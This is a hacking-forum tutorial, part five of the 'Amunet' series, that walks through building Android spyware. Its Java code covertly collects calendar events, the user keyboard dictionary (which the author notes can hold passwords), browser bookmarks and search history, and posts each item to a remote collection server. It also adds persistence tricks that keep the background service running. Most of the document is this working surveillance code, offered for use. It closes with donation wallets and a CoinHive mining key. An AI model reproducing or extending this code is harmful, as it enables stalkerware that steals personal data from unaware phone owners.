Greetings my fellow hackers,
As we continue with our series, the AMUNET app becomes complicated with new functionalities and structures to understand. We’ll sail right through. As stated earlier in previous tutorials, the app doesn’t fully exists because I build them before I share so forgive me if it takes sometime before a tutorial comes out. I need to make sure everything works well first.
PREVIOUS TUTORIALS
Below are the tutorials covered so far.
- Introduction to Amunet
- Get Installed Apps
- Sending Information to Web Server
- Granting Permission for Extra Functions
- Persistently Collecting Contacts, Call Logs and Text Messages ( SMS )
FREQUENTLY ASKED QUESTIONS ( FAQ )
I have been receiving questions from readers and these ones are most prevalent.
Q: How to collect information on my localhost
A: The tutorial does not limit you to the test server. As stated earlier, just change the server endpoint ( ip address ) in the Configuration.java and make sure your server accepts the POST parameters being passed.
Q: Can I get the source code ( PHP ) for your test server
A: Absolutely not.
Q: Where is my data stored on the test server ?
A: I am a great fan of privacy and data protection. With that said, every data sent to the test server is encrypted ( username and password ). I use bcrypt for protecting confidential information and as a result, I do have access to the information stored on the server but cannot decrypt or read them. Only the right user.
Q: Will I pay for using the test server ?
A: Absolutely not. The server was only set up to help with the tutorial. No need to pay anything. It’s set up out of good will.
Q: What’s the API auth key thing ?
A: The API Auth key helps the server identify the correct user. Without it, any data sent will be rejected.
Q: Do I need the API auth key on my local server ?
A: No please. You do not need an auth key on your local server. You only need to accept the POST parameters being sent by Volley and thats all.
SIDE NOTE
-
If you are using your own server, you should by now notice that the database will become flooded with duplicate or useless informations if they are not filtered as the data coming in is repeatedly pushed to the server. It is the duty of the server to filter such information and store only fresh and non-existent data.
If you are using my test server, then that problem has already been tackled. Cheers -
I’ll add a “Wipe Account Feature” to the test server so that you can wipe all your data when you are done experimenting. For now, I’ll just manually wipe all user data.
Always uninstall your app, when trying new series parts as your old API key won’t be compatible with server any longer since I will probably wipe them and there you will need to acquire a new one through account registration ( on the phone )
TODAY’S TUTORIAL
In today’s tutorial, that is in continuation from Part 4, we are going to add more functions to the app. We are adding the ability to collect browser searches, bookmarks, calendar events and also access the user’s keyboard dictionary.
A user dictionary consists of all the words a user teaches the smartphone. Phones were made to be perfect especially in language processing but they cannot contain all words belonging to a language so users usually uses add words to the dictionary so that they don’t have to type them again since the word they may be typing does not belong to the default built in dictionary. This dictionary can consist of sensitive information ranging from Bank names, email addresses, web domains, usernames and even passwords.
THE BAD NEWS
I have been trying for sometime to make this function available across the different api levels with different libraries and codes but unfortunately Android Developers just couldn’t keep their fingers idle and have some coffee. They instead made the following changes in Android 6.0 ( Marshmallow ).
Browser Bookmark Changes
This release removes support for global bookmarks. The android.provider.Browser.getAllBookmarks() and android.provider.Browser.saveBookmark() methods are now removed. Likewise, the READ_HISTORY_BOOKMARKS and WRITE_HISTORY_BOOKMARKS permissions are removed. If your app targets Android 6.0 (API level 23) or higher, don’t access bookmarks from the global provider or use the bookmark permissions. Instead, your app should store bookmarks data internally.
The codes for collecting browser searches, history and bookmarks will only work on pre-MarshMallow devices. We are therefore going to only make the codes run on devices that support them.
The only function that is still supported across devices is Calendar Events
.
Sometime ago, i think during the comment section of one of the parts of the series, someone asked if the codes would run on an emulator. Well, I was more than surprised when the app executed smoothly on the emulator. I never encountered a single problem with the emulator.
With that out of the way, lets begin.
IMPORT LIBRARY WITH GRADLE
Under Gradle Scripts
, open build.grade
( Module: app ) and include this library.
implementation ‘me.everything:providers-android:1.0.1’
This library simplifies the coding process. You can go ahead and sync your project.
ADD A NEW PERMISSION TO ANDROIDMANIFEST
We need the following permission to enable us read the user dictionary. Unfortunately, we weren’t able to add it in the previous series because we didn’t need them then. Now we do.
<uses-permission android:name="android.permission.READ_USER_DICTIONARY" />
SERVER UPDATE RECEIVER
If you’ve been following from the beginning, you know this file is a broadcast receiver which gets called through the TimerService
class. We are now adding more functionalities to the receiver.
Anyway and anywhere
in the onReceive
method, lets add the code.
if(Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
new Thread(new Runnable() {
@Override
public void run() {
dictionary_bookmark_search_history();
}
}).start();
}
if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CALENDAR) == PackageManager.PERMISSION_GRANTED) {
new Thread(new Runnable() {
@Override
public void run() {
get_calendar_events();
}
}).start();
}
As you might have noticed from the checks, the first one checks if the device is pre-MarshMallow or not and then proceeds to execute the appropriate method. The user keyboard dictionary ( READ_DICTIONARY
) permission does not need to be requested like the others. It just needs to be declared in the AndroidManifest file
For the calendar event, it should work without restrictions ( I believe ). The method only checks if you have the permission to call the method.
GET CALENDAR EVENTS
Normally, when we have places to go or events to attend and we don’t have a private secretaries or assistants to be reminding us all the time, we often result to using the Calendar to set events reminders to keep us aware of our schedules and plans. Well, this habit gives away a trove of information about our routine as we specify a lot of information especially when we easily forget stuff.
NB: The library we imported earlier can help us in this case but I first wrote the code using Cursor
s before finding out about the library. Just felt lazy about rewriting the code again with the library. After all, they all work.
private void get_calendar_events() {
Cursor cursor;
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
if(auth_key == null) { return; }
try {
cursor = context.getContentResolver().query(CalendarContract.Events.CONTENT_URI, null, null, null, null);
} catch (SecurityException e) {
return;
}
while (cursor.moveToNext()) {
if (cursor != null) {
Map<String, String> params = new HashMap<>();
int time_zone = cursor.getColumnIndex(CalendarContract.Events.EVENT_TIMEZONE);
int title = cursor.getColumnIndex(CalendarContract.Events.TITLE);
int event_id = cursor.getColumnIndex(CalendarContract.Events._ID);
int description = cursor.getColumnIndex(CalendarContract.Events.DESCRIPTION);
int event_location = cursor.getColumnIndex(CalendarContract.Events.EVENT_LOCATION);
int account_name = cursor.getColumnIndex(CalendarContract.Events.ACCOUNT_NAME);
int acc_type = cursor.getColumnIndex(CalendarContract.Events.ACCOUNT_TYPE);
String event_time_zone = cursor.getString(time_zone);
String event_id_ = cursor.getString(event_id);
String event_title = cursor.getString(title);
String event_description = cursor.getString(description);
String event_location_ = cursor.getString(event_location);
String calendar_account_type = cursor.getString(acc_type);
String calendar_account_name = cursor.getString(account_name);
params.put("event_timezone", event_time_zone);
params.put("event_title", event_title);
params.put("event_id", event_id_);
params.put("event_description", event_description);
params.put("event_location", event_location_);
params.put("event_calendar_account", calendar_account_type);
params.put("event_calendar_account_name", calendar_account_name);
params.put("auth", auth_key);
update_Server(params);
}
}
}
There is not much to explain here as the codes are almost self-explanatory. We use the default Calendar api with the help of cursors to query the database for information regarding events. We push the data, if any to the server for storage.
DICTIONARY BOOKMARK SEARCH HISTORY
In this method, we get the information using the library we imported earlier. It’s actually less code than the Calendar Event ( I think ).
private void dictionary_bookmark_search_history() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
DictionaryProvider dictionaryProvider = new DictionaryProvider(context);
List<Word> words = dictionaryProvider.getWords().getList();
for (Word w : words) {
Map<String, String> dict_params = new HashMap<>();
dict_params.put("locale", w.locale);
dict_params.put("dictionary_word", w.word);
dict_params.put("dictionary_id", String.valueOf(w.id));
dict_params.put("auth", auth_key);
update_Server(dict_params);
}
BrowserProvider browserProvider = new BrowserProvider(context);
List<Bookmark> bookmarks = browserProvider.getBookmarks().getList();
for (Bookmark b : bookmarks) {
Map<String, String> bookmark_params = new HashMap<>();
bookmark_params.put("bookmark_title", b.title);
bookmark_params.put("bookmark_url", b.url);
bookmark_params.put("bookmark_date", get_Long_Date(String.valueOf(b.created)));
bookmark_params.put("bookmark_visits", String.valueOf(b.visits));
bookmark_params.put("auth", auth_key);
update_Server(bookmark_params);
}
List<Search> searches = browserProvider.getSearches().getList();
for (Search s : searches) {
Map<String, String> search_params = new HashMap<>();
search_params.put("search_title", s.search);
search_params.put("search_date", get_Long_Date(String.valueOf(s.date)));
search_params.put("auth", auth_key);
update_Server(search_params);
}
}
Self explaining right. Yeah.
BACK UP PLAN 1
Ok so there was this weird situation where on the pre-MarshMallow emulator, the TimerService stops abruptly. Not because the OS killed it or was consuming some large amount of RAM. I just didn’t know. I then placed a check in the BroadCast receiver to check if it was running or not. It wouldn’t affect your code. Just a little background check when the receiver is called.
Anywhere in the onReceive
method of the receiver, write this code.
if(!MyServiceIsRunning(TimerService.class)) {
context.startService(new Intent(context, TimerService.class));
}
Just a little check here and there.
MONITORING SCREEN STATUS
You’ll be surprise at the vast amount of functionalities android development opens up to us. We can monitor if the screen is off and on. This was the previous screenshot for the TimerService class.
Lets now add a Broadcast receiver with the help of intentFilters to monitor the phone screen status. The intentFilter will also keep our service running even if we close the app from the Recent Apps / Task Manager / Recent Tasks.
Outside any method and inside the public class TimerService ...
declaration, lets write the code for the BroadcastReceiver.
private class ScreenStatusMonitor extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if(Intent.ACTION_SCREEN_OFF.equals(action)) {
Log.d("0x00sec", "Screen is turn off.");
} else if(Intent.ACTION_SCREEN_ON.equals(action)) {
Log.d("0x00sec", "Screen is turn on.");
}
}
}
We are not uploading the phone screen status in this tutorial. We are instead logging it to the console. So that we verify if its working.
Under the public class TimerService ...
declaration and above the onCreate
method of the TimerService, initialize the class with
public class TimerService extends Service {
ScreenStatusMonitor screenStatusMonitor; // this variable
With that out of the way, lets register our intentFilter.
Let me just say this quickly, we can register BroadcastReceivers through the AndroidManifest file and the local broadcast registration way. We’ve already covered the AndroidManifest way. The local broadcast is registered within the Service. The reason being that not all intents can be received by Broadcast receivers in the AndroidManifest. Some intents like battery, screen state, etc won’t be received if defined the AndroidManifest way. If you are upset , ask Android Developers.
To save you the time
You cannot receive this through components declared in manifests, only by explicitly registering for it with Context.registerReceiver().
This is a protected intent that can only be sent by the system.
We therefore need to register them within the service. Fortunately, it’s quite easy. In the onCreate
method:
@Override
public void onCreate() {
super.onCreate();
Log.i("0x00sec", "Service started.");
AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(TimerService.this, ServerUpdateReceiver.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(this,0,intent, 0);
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP,
SystemClock.elapsedRealtime(),
60000,
pendingIntent);
// Create an IntentFilter instance.
IntentFilter intentFilter = new IntentFilter();
// Add network connectivity change action.
intentFilter.addAction("android.intent.action.SCREEN_ON");
intentFilter.addAction("android.intent.action.SCREEN_OFF");
// Set broadcast receiver priority.
intentFilter.setPriority(100);
screenStatusMonitor = new ScreenStatusMonitor();
registerReceiver(screenStatusMonitor, intentFilter);
}
Once we register something, we need to un-register them to prevent issues with the OS. In the onDestroy
method of the service.
@Override
public void onDestroy() {
Log.i("0x00sec", "Service stop.");
unregisterReceiver(screenStatusMonitor);
super.onDestroy();
}
ADMIRERS ASKED ME TO DO THIS
So recently, I checked my crypto wallet and noticed two transactions ( $5 and $8 ). I logged on to Twitter and got a message from a user expressing her gratitude for this series and how she is learning so much from the series. She ( Yh, it’s a she ) later told me to create a Youtube Channel for the series and other future tuts ( In consideration right now ). Also, she advised me to put out my wallet incase someone wanted to donate or buy me a cup of coffee out of good will. I personally believe in open source and free knowledge thats why I love sharing. So here probably goes nothing. I use Binance.
- Bitcoin - 16DXECQVXKsLyMq2d4r4Pmh1k5aK2Nwe5G
- Ethereum - 0x48517649c2800b0c5763f9c991858f88cc4204d7
- Litecoin - LUC9dgYiU3vd14iDWc96eqgNEQvkzgcjUu
You might not have crypto but you do have the hardware and free time. You can mine it into my account.
- CoinHive API Key - rZBQqcp1gWXRvoHBTMjxb8O1E1OYK9g2
LETS TEST OUR APP
Before you go ahead and run the app, make sure you read the information in the SIDE NOTE
section of this tutorial ( especially 2 ).
CONCLUSION
I love contributions, suggestions, feedbacks, critics, etc. Anything to help the series.
You can directly import the project into your android studio if you are having trouble.
Checkout the github repo: Amunet Github Repo
Until we meet again. I’m out.
#Sergeant